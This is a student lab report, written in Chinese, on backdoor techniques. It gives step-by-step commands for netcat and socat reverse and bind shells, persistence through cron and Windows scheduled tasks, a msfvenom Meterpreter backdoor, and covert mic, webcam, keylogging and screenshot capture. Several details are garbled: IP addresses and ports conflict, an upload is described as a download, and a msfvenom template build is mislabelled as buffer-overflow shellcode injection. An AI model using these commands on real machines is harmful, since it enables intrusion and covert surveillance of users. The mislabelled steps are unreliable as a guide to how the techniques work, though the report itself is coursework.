一、实验核心原理与内容解析
本次实验聚焦 “后门原理与实践”,核心是通过工具配置、定时触发、漏洞利用等手段,实现对目标主机的远程控制与信息窃取,同时理解后门的植入、启动与隐藏机制。实验内容涵盖五类典型场景,分别对应基础网络工具(netcat/socat)、专业渗透框架(Metasploit Meterpreter)及漏洞利用(缓冲区溢出注入),具体如下:
1.netcat 双向 Shell 获取:利用 netcat 的端口监听与反向连接功能,实现 Windows 与 Linux 主机间的跨系统 Shell 控制,并通过 Linux cron 定时任务让后门按预设时间自动触发。
2.socat 定时 Shell 控制:借助 socat 的端口绑定能力,将 Windows 的 cmd.exe 与指定端口关联,再通过 Windows 任务计划实现定时启动,最终由 Linux 端连接获取控制权。
3.MSF Meterpreter 后门生成与控制:使用 Metasploit 框架的 msfvenom 生成 Windows 可执行后门,通过 netcat 传输到目标主机,配合 msfconsole 监听模块获取远程 Shell。
4.MSF Meterpreter 深度控制:基于已获取的 Shell,实现音频录制、摄像头调用、击键记录等隐私窃取操作,尝试权限提升(getsystem),并完成进程交互、文件传输等系统控制。
5.Shellcode 注入与缓冲区溢出:获取 Linux/x86 平台反弹 Shellcode,结合前期实验的 pwn1 文件(含缓冲区溢出漏洞),将 Shellcode 注入并触发,实现本地反弹连接获取 Shell。
二、实验详细操作过程
1.netcat 双向 Shell 获取
1.1:获取windows和linux主机IP
在windows主机终端输入ipconfig查看windows ip地址:192.168.3.5
在linux主机的终端下输入ifconfig查看linux地址:192.168.2.129
1.2:Windows 端启动监听
打开 cmd 终端,切换到 netcat 所在目录,执行命令输入以下代码:.\ncat.exe -l -p 2318,其中-l表示开启监听模式,-p 2318指定监听 2318 端口,等待 Linux 端连接。
如图所示开始监听2318端口
1.3:Linux 端主动反弹连接
在 Kali Linux 终端中,执行nc 192.168.3.5 2318 -e /bin/sh
此时 Windows cmd 终端会显示 Linux 系统的命令行界面,可执行ls(查看目录)、pwd(查看当前路径)等 Linux 命令,成功获取 Linux Shell。
如下图可见成功连接,输入ls查看目录。
1.4:Linux 配置 cron 定时任务
为实现后门自动触发,在 Kali 端执行crontab -e编辑定时任务(首次执行会提示选择编辑器,此处选择 nano),在配置文件末尾添加05 * * * * /usr/bin/netcat 192.168.3.5 2318 -e /bin/sh
保存退出后,执行crontab -l验证配置是否生效。
随后在 Windows 端执行.\ncat.exe -l -p 2318监听 2318 端口,当时间到达每小时第 6 分钟时,Kali 会自动发起连接,Windows 端即可获取 Linux Shell。(因为我在代码输入时对时间有了影响,故得到最后结果是我更改到第21分钟后自动连接,如下图)
1.5:Linux 监听,Windows 反向连接
Windows 端配置反向连接监听:
在 Windows cmd 终端执行.\ncat.exe -e cmd.exe -lvp 2318,其中-e cmd.exe表示连接成功后执行 Windows 命令行(提供 cmd Shell),-l(监听)、-v(显示详细连接信息)、-p 2318(监听 5566 端口)。
Linux 端主动连接获取 Shell:
在 Kali 终端执行nc 192.168.3.5 2318,连接 Windows 的 2318端口。成功连接后,Kali 终端会显示 Windows 的 cmd 界面,可执行dir(查看 Windows 目录)、cd(切换路径)等命令,执行dir D:\ncat\ncat后可查看 netcat 所在目录的文件列表,实现对 Windows 的 Shell 控制。如下图成功。
2.socat 定时 Shell 控制
socat 是 netcat 的增强版,支持更丰富的数据流定向,可将进程(如 cmd.exe)与网络端口绑定,核心通过exec:参数关联命令行,pty模拟终端环境,stderr重定向确保错误信息正常输出。Windows 任务计划可实现程序定时 / 触发启动,替代 Linux 的 cron 功能。
2.1:Windows 创建任务计划
下载socat文件,在“计算机管理”界面进入“任务计划程序库”点击 “创建任务”,点击“操作” 选项卡后点击 “新建”,“程序或脚本” 选择 socat.exe 路径(如图D:\socat\socat.exe),“添加参数” 填写
tcp-listen:2318 exec:cmd.exe,pty,stderr。
如图,创建完成后,任务状态显示 “准备就绪”,到达触发时间后状态变为 “正在运行”,表示 socat 已启动并监听 2318 端口。
2.2:Linux 端连接获取 Windows Shell
在 Kali 终端执行socat - tcp:192.168.3.5:2318,成功连接后,终端会显示 Windows 的 cmd 界面,实现对 Windows 的远程控制。
如图所示,可以输入dir查看目录信息
3.MSF Meterpreter 后门生成与控制
Metasploit(简称 MSF)是专业渗透测试框架,msfvenom用于生成恶意 payload(后门),msfconsole提供交互界面,meterpreter是功能强大的后门模块,支持多平台控制与隐私窃取,核心优势是隐蔽性强、功能可扩展。
3.1:生成 Windows 后门程序
在 Kali 终端执行msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.156 LPORT=2318 -f exe > 20232318_backdoor.exe
执行后会显示 payload 大小(约 354 字节)与最终 exe 文件大小(约 73KB),表示后门生成成功。如下图成功
3.2:后门传输到 Windows 主机
Windows 端启动接收:在 Windows cmd 终端切换到 netcat 目录,执行ncat.exe -l -p 2318 > 20232318_backdoor.exe
Linux 端发送后门:在 Kali 终端执行nc 192.168.3.5 2318 < 20232318_backdoor.exe
传输完成后,Windows 端可在 netcat 目录下看到后门文件。如下图
3.3:MSF 监听与获取 Shell
启动 MSF 控制台:在 Kali 终端执行msfconsole,进入 Metasploit 交互界面。
配置监听模块:
执行use exploit/multi/handler,加载通用监听模块;
执行set payload windows/meterpreter/reverse_tcp,设置 payload 与后门一致(反向 TCP 连接);
执行set LHOST 192.168.2.129,设置监听 IP(与后门的 LHOST 一致);
执行set LPORT 2318,设置监听端口(与后门的 LPORT 一致)
执行show options验证配置,确保所有必填项(payload、LHOST、LPORT)正确。
如下图成功配置
启动监听与触发后门:
执行exploit启动监听,随后在终端输入:20232318_backdoor.exe运行后门,无图形界面,后台运行
此时 Kali 端会显示 “Meterpreter session 1 opened”,表示成功建立连接,输入meterpreter >提示符,可执行dir(查看 Windows 目录)、getuid(查看当前用户)等命令,获取 Windows Shell。
如下图成功运行
4.MSF Meterpreter 深度控制功能
Meterpreter 提供丰富的后渗透模块,支持隐私窃取、权限提升、系统控制等操作,无需额外安装插件,直接通过命令调用。
4.1:隐私窃取操作
音频录制:执行record_mic
录制完成后会提示音频文件保存路径/usr/bin,可在 Kali 端播放查看。
摄像头拍照:执行webcam_snap,Meterpreter 会调用 Windows 主机的摄像头拍摄一张照片
击键记录:
执行keyscan_start启动击键监听,此时 Windows 用户的键盘输入会被记录;
执行keyscan_dump可查看已记录的内容(如输入的命令、文本);
执行keyscan_stop停止监听。
如图所示,Kali 端keyscan_dump会显示输入内容。
屏幕截图:执行screenshot,Meterpreter 会捕获 Windows 当前屏幕,保存为 JPEG 文件,可查看用户当前操作界面。
如下图所示
4.2:权限提升与系统控制
查看与提升权限:
执行getuid查看当前用户;
执行getsystem尝试提升为系统权限,成功后会提示 “got system via technique X”
系统信息与进程查看:
执行sysinfo获取 Windows 系统信息;
执行ps列出所有进程,可查看进程 ID(PID)、父进程 ID(PPID)、进程路径等,如下图所示成果
进程交互:
执行execute -H -i -f cmd.exe,-H表示隐藏进程,-i表示交互模式,-f cmd.exe指定执行 Windows 命令行
此时会新建一个 cmd 通道(Channel 1),可直接输入 Windows 命令(如ipconfig查看网络配置),与本地 cmd 操作一致。
文件传输:
执行upload /home/wangtianhao/photo/dvXzflNb.jpeg D:,将 Kali 端的截图文件上传到 Windows 的 D 盘;
执行upload /home/wangtianhao/20232318.txt D:,将 Windows 端的文本文件下载到 Kali 目录,传输完成后会提示 “Completed”。
5.Shellcode 注入与缓冲区溢出利用
缓冲区溢出是指程序写入数据超过缓冲区容量,覆盖相邻内存区域(如返回地址),若将返回地址指向恶意 Shellcode,可触发执行恶意代码。本实验基于 Linux/x86 平台的 pwn1 文件(含缓冲区溢出漏洞),注入反弹 Shellcode 实现控制。
5.1:获取与处理 Shellcode
通过命令:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.2.129 LPORT=2318 -x /home/wangtianhao/pwn/pwn20232shiyan2 -f elf > 20232318.pwn
将一个Linux系统下的反向连接Meterpreter后门,注入到实验一中所给出的已有的pwn1文件,并生成一个新的,本事便附带有后门的可执行文件pwn20232iyan2。
5.2:MSF 启动监听
打开 Kali 终端,执行msfconsole,加载监听模块
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.158.2.129
set LPORT 2318(与 Shellcode 端口一致);
exploit启动监听。
5.3触发缓冲区溢出
在原 Kali 终端执行20232318.pwn,输入./20232318.pwn
其中20232318.pwn将注入数据传入 pwn1,保持输入流打开。
此时 pwn1 发生缓冲区溢出,返回地址指向 Shellcode,触发反向连接,得到当前Winodws主机下盘目录中的内容,输入dir命令可验证 Shell 获取成功。
三、实验问题与解决方案
问题1:在生成后门后,想要通过在linux直接使用nc指令将生成的后门程序传送到Windows主机上时,我出现了无法传送的问题
问题1解决方案:无法直接传送,那我便通过Windows 主机必须先启动 ncat 的监听,并且只需单纯监听端口并接收文件,而后再进行nc指令传送,最后成功接收文件。
问题2:在进行使用MSF生成shellcode步骤时,我无法生成一个新的、带有后门的可执行文件
问题2解决方案:我发现代码形式有小错误,将 payload 名称修改为正确的格式 linux/x86/meterpreter/reverse_tcp,payload 名称必须精确匹配 Metasploit 支持的格式,reverse_tcp 是反向 TCP 连接的标准 payload 名称,缺少 _tcp 会导致识别失败。
修改后执行命令,即可正常生成带有后门的 ELF 可执行文件。
四、学习感悟与思考
在完成 “后门原理与实践” 实验的过程中,我对网络攻防技术的认知从理论层面深入到了实践操作,也对 “攻防对抗” 的本质有了更深刻的思考,收获颇丰。
起初接触 netcat、socat、Metasploit 这些工具时,仅将其视为 “操作指令的集合”,但随着实验推进,我逐渐理解了每一个参数、每一步配置背后的原理。比如 netcat 的 “反向连接” 机制,本质是利用网络通信的双向性打破 “攻击机 - 目标机” 的被动 / 主动关系;cron 和任务计划的定时触发,是对系统自动化执行逻辑的利用,这让我明白 “后门的隐蔽性” 很大程度上依赖于对目标系统原生功能的 “伪装式使用”。
Metasploit Meterpreter 的深度体验则刷新了我对 “后门功能边界” 的认知。从简单的 Shell 获取到音频录制、摄像头调用、击键记录,这些功能并非 “独立开发”,而是基于目标系统 API 的直接调用—— 这意味着只要掌握系统底层接口,后门的功能可以无限扩展。这种 “模块化、可扩展” 的设计思路,也让我意识到现代渗透工具的强大并非源于 “黑盒魔法”,而是对系统原理的极致挖掘。
在实验过程中,我时刻提醒自己:这些技术的本质是 “攻防研究工具”,其价值在于帮助防御者发现系统漏洞、提升防护能力。当成功获取目标主机的摄像头权限时,我深刻感受到 “技术力量的两面性”—— 它可以是安全研究的利器,也可能成为侵犯隐私的凶器。